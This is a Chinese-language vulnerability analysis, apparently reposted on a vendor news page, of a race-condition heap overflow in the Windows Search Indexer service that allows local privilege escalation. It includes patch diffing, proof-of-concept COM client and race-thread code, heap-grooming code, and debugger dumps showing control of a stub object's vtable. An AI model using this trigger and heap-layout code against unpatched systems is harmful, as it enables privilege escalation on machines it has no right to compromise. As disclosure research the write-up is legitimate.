Windows Search Indexer 本地提权的示例分析

这期内容当中小编将会给大家带来有关Windows Search Indexer 本地提权的示例分析，文章内容丰富且以专业的角度为大家分析和叙述，阅读完这篇文章希望大家可以有所收获。

Windows Search Indexer 介绍

Windows Search Indexer是一项Windows服务，用于为Windows  Search处理文件索引，这为Windows内置的文件搜索引擎提供了动力，该引擎为从“开始”菜单搜索框到Windows资源管理器甚至是“库”函数的所有函数提供支持。

Search Indexer有助于从GUI的角度通过GUI和索引选项将用户定向到服务界面，如下所示。

索引过程中的所有数据库和临时数据都存储为文件并进行管理。通常，在Windows Service中，整个过程都是使用NT AUTHORITY  SYSTEM特权执行的。如果由于修改文件路径而碰巧存在逻辑漏洞，则可能会触发特权提升。(例如Symlink攻击)

鉴于最近在Windows Service中发生的大多数漏洞都是由于逻辑漏洞而导致的LPE漏洞，因此我们假定Search  Indexer可能有类似的漏洞，但是，我们的分析结果并非如此，随后将介绍更多详细信息。

补丁对比

分析环境是Windows7 x86，因为它具有较小的更新文件，并且易于识别差异，我们下载了该模块的两个补丁版本。

可以从Microsoft更新目录下载它们：

•  patch程序版本(1月程序)：KB4534314 2

•  补丁程序版本(2月补丁)：KB4537813 3

我们从patch过的二进制文件的BinDiff开始(在这种情况下，只有一个：searchindexer.exe)

大多数补丁都是在CSearchCrawlScopeManager和CSearchRoot类中完成的。前者在1月进行了patch，而后者在下个月进行了patch。这两个类都包含相同的更改，因此我们专注于patch的CSearchRoot。

下图显示添加了原始代码，该代码使用Lock来安全地访问共享资源。我们推断，访问共享资源会导致竞争条件漏洞的发生，因为该补丁由putter,  getter函数组成。

界面互动

我们参考了MSDN，了解如何使用这些类，并发现它们都与“爬网管理器”相关的，我们可以检查此类的方法信息。

MSDN说4：

爬网范围管理器(CSM)是一组API，可添加，删除和枚举Windows搜索索引器的搜索root和范围规则。当希望索引器开始对新容器进行爬网时，可以使用CSM设置搜索root目录，并为搜索root目录内的路径设置作用域规则。

CSM界面如下：

•  IEnumSearchRoots

•  IEnumSearchScopeRules

•  ISearchCrawlScopeManager

•  ISearchCrawlScopeManager2

•  ISearchRoot

•  ISearchScopeRule

•  ISearchItem

例如，添加，删除和枚举搜索root和范围规则可以通过以下方式编写：

ISearchCrawlScopeManager告知搜索引擎要爬网和/或监视的容器，以及要包含或排除的容器下的项目。若要添加新的搜索，需要实例化ISearchRoot对象，设置root属性，然后调用ISearchCrawlScopeManager  :: AddRoot并将其传递给ISearchRoot对象的指针。

// Add RootInfo & Scope Rule pISearchRoot->put_RootURL(L"file:///C:\ "); pSearchCrawlScopeManager->AddRoot(pISearchRoot); pSearchCrawlScopeManager->AddDefaultScopeRule(L"file:///C:\Windows", fInclude, FF_INDEXCOMPLEXURLS);  // Set Registry key pSearchCrawlScopeManager->SaveAll();

当我们不再希望对该URL编制索引时，我们还可以使用ISearchCrawlScopeManager从爬网范围中删除root。删除root还会删除该URL的所有范围规则。我们可以卸载应用程序，删除所有数据，然后从爬网范围中删除搜索root，并且“爬网范围管理器”将删除root以及与该root相关联的所有范围规则。

// Remove RootInfo & Scope Rule ISearchCrawlScopeManager->RemoveRoot(pszURL);  // Set Registry key ISearchCrawlScopeManager->SaveAll();

CSM使用IEnumSearchRoots枚举搜索root。出于多种目的，我们可以使用此类枚举搜索root;例如，我们可能想要在用户界面中显示整个爬网范围，或者发现爬网范围中是否已经有特定的root目录或root目录的子级。

// Display RootInfo  PWSTR pszUrl = NULL;  pSearchRoot->get_RootURL(&pszUrl);  wcout << L"\t" << pszUrl;    // Display Scope Rule  IEnumSearchScopeRules *pScopeRules;  pSearchCrawlScopeManager->EnumerateScopeRules(&pScopeRules);    ISearchScopeRule *pSearchScopeRule;  pScopeRules->Next(1, &pSearchScopeRule, NULL))    pSearchScopeRule->get_PatternOrURL(&pszUrl);  wcout << L"\t" << pszUrl;

我们认为在处理URL的过程中会出现漏洞，因此，我们开始分析根本原因。

漏洞分析

我们针对以下函数进行了二进制分析：

•  ISearchRoot :: put_RootURL

•  ISearchRoot :: get_RootURL

在分析ISearchRoot :: put_RootURL和ISearchRoot ::  get_RootURL时，我们发现引用了对象的共享变量(CSearchRoot + 0x14)。

put_RootURL函数将用户控制的数据写入CSearchRoot + 0x14的内存中。get_RootURL函数读取位于CSearchRoot +  0x14内存中的数据，该漏洞似乎是由与补丁程序有关的共享变量引起的。

因此，我们终于到了漏洞开始的地方，该漏洞在发生以下情况时可能会触发：

1. 首次提取：用作内存分配大小(第9行)

2. 第二次获取：用作内存副本大小(第13行)

如果第一个和第二个的大小不同，则可能会发生堆溢出，尤其是在第二个提取的大小较大时。我们认为，在发生内存复制之前，我们通过竞争条件充分更改了pszURL的大小。

崩溃现场

通过OleView 5，我们可以看到Windows Search Manager提供的界面，而且我们需要跟据接口的方法来攻击漏洞函数。

我们可以通过MSDN 6提供的基于COM的命令行源代码轻松地对其进行测试，并编写了攻击存在漏洞的函数的COM客户端代码，如下所示：

int wmain(int argc, wchar_t *argv[]) {     // Initialize COM library     CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);      // Class instantiate     ISearchRoot *pISearchRoot;     CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pISearchRoot));      // Vulnerable functions hit     pISearchRoot->put_RootURL(L"Shared RootURL");     PWSTR pszUrl = NULL;     HRESULT hr = pSearchRoot->get_RootURL(&pszUrl);     wcout << L"\t" << pszUrl;     CoTaskMemFree(pszUrl);      // Free COM resource, End     pISearchRoot->Release();     CoUninitialize(); }

漏洞触发非常简单。我们创建了两个线程：一个线程将不同长度的数据写入共享缓冲区，另一个线程同时从共享缓冲区读取数据。

DWORD __stdcall thread_putter(LPVOID param) {  ISearchManager *pSearchManager = (ISearchManager*)param;  while (1) {   pSearchManager->put_RootURL(L"AA");   pSearchManager->put_RootURL(L"AAAAAAAAAA");  }  return 0; } DWORD __stdcall thread_getter(LPVOID param) {  ISearchRoot *pISearchRoot = (ISearchRoot*)param;  PWSTR get_pszUrl;  while (1) {   pISearchRoot->get_RootURL(&get_pszUrl);  }  return 0; }

崩溃了!

毫无疑问，在StringCchCopyW函数复制RootURL数据之前，竞争条件已经成功，从而导致堆溢出。

劫持EIP

为了控制EIP，我们应该为发生漏洞的Sever堆创建一个对象。

我们编写了如下的客户端代码，以跟踪堆状态。

int wmain(int argc, wchar_t *argv[]) {     CoInitializeEx(NULL, COINIT_MULTITHREADED | COINIT_DISABLE_OLE1DDE);     ISearchRoot *pISearchRoot[20];     for (int i = 0; i < 20; i++) {         CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pISearchRoot[i]));     }     pISearchRoot[3]->Release();     pISearchRoot[5]->Release();     pISearchRoot[7]->Release();     pISearchRoot[9]->Release();     pISearchRoot[11]->Release();           CreateThread(NULL, 0, thread_putter, (LPVOID)pISearchRoot[13], 0, NULL);     CreateThread(NULL, 0, thread_getter, (LPVOID)pISearchRoot[13], 0, NULL);     Sleep(500);          CoUninitialize();     return 0; }

我们发现，如果客户端不释放pISearchRoot对象，则IRpcStubBuffer对象将保留在服务器堆上。而且我们还看到IRpcStubBuffer对象保持在发生漏洞的堆的位置附近。

0:010> !heap -p -all   ...   03d58f10 0005 0005  [00]   03d58f18    0001a - (busy)     <-- CoTaskMalloc return    mssprxy!_idxpi_IID_Lookup  (mssprxy+0x75)   03d58f38 0005 0005  [00]   03d58f40    00020 - (free)   03d58f60 0005 0005  [00]   03d58f68    0001c - (busy)     <-- IRpcStubBuffer Obj     ? mssprxy!_ISearchRootStubVtbl+10   03d58f88 0005 0005  [00]   03d58f90    0001c - (busy)     ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj   03d58fb0 0005 0005  [00]   03d58fb8    00020 - (busy)   03d58fd8 0005 0005  [00]   03d58fe0    0001c - (busy)     ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj   03d59000 0005 0005  [00]   03d59008    0001c - (busy)     ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj   03d59028 0005 0005  [00]   03d59030    00020 - (busy)   03d59050 0005 0005  [00]   03d59058    00020 - (busy)   03d59078 0005 0005  [00]   03d59080    00020 - (free)   03d590a0 0005 0005  [00]   03d590a8    00020 - (free)   03d590c8 0005 0005  [00]   03d590d0    0001c - (busy)     ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj

在COM中，所有接口都有自己的接口存根空间。存根是用于在RPC通信期间支持远程方法调用的较小内存空间，IRpcStubBuffer是此类接口存root的主要接口。在此过程中，支持pISearchRoot的接口存root的IRpcStubBuffer仍保留在服务器的堆上。

IRpcStubBuffer的vtfunction如下：

0:003> dds poi(03d58f18) l10   71215bc8  7121707e mssprxy!CStdStubBuffer_QueryInterface   71215bcc  71217073 mssprxy!CStdStubBuffer_AddRef   71215bd0  71216840 mssprxy!CStdStubBuffer_Release   71215bd4  71217926 mssprxy!CStdStubBuffer_Connect   71215bd8  71216866 mssprxy!CStdStubBuffer_Disconnect <-- client call : CoUninitialize();   71215bdc  7121687c mssprxy!CStdStubBuffer_Invoke   71215be0  7121791b mssprxy!CStdStubBuffer_IsIIDSupported   71215be4  71217910 mssprxy!CStdStubBuffer_CountRefs   71215be8  71217905 mssprxy!CStdStubBuffer_DebugServerQueryInterface   71215bec  712178fa mssprxy!CStdStubBuffer_DebugServerRelease

当客户端的COM未初始化时，IRpcStubBuffer ::  Disconnect断开对象指针的所有连接。因此，如果客户端调用CoUninitialize函数，则会在服务器上调用CStdStubBuffer_Disconnect函数。这意味着用户可以构造伪造的vtable并调用该函数。

但是，我们并不总是看到IRpcStubBuffer分配在同一位置堆上。因此，需要多次尝试来构造堆布局，经过几次尝试后，IRpcStubBuffer对象被如下可控值(0x45454545)覆盖。

最后，我们可以证明可以间接调用内存中的函数!

分析结论

Windows Service中最近发生的大多数LPE漏洞都是逻辑漏洞。通过这种方式，对Windows Search  Indexer的内存损坏漏洞进行分析非常有趣。因此，此后的Windows Service中很可能会出现这种内存损坏漏洞。

我们希望该分析将对其他漏洞研究人员有所帮助，并可以用于进一步的研究。

上述就是小编为大家分享的Windows Search Indexer 本地提权的示例分析了，如果刚好有类似的疑惑，不妨参照上述分析进行理解。如果想知道更多相关知识，欢迎关注亿速云行业资讯频道。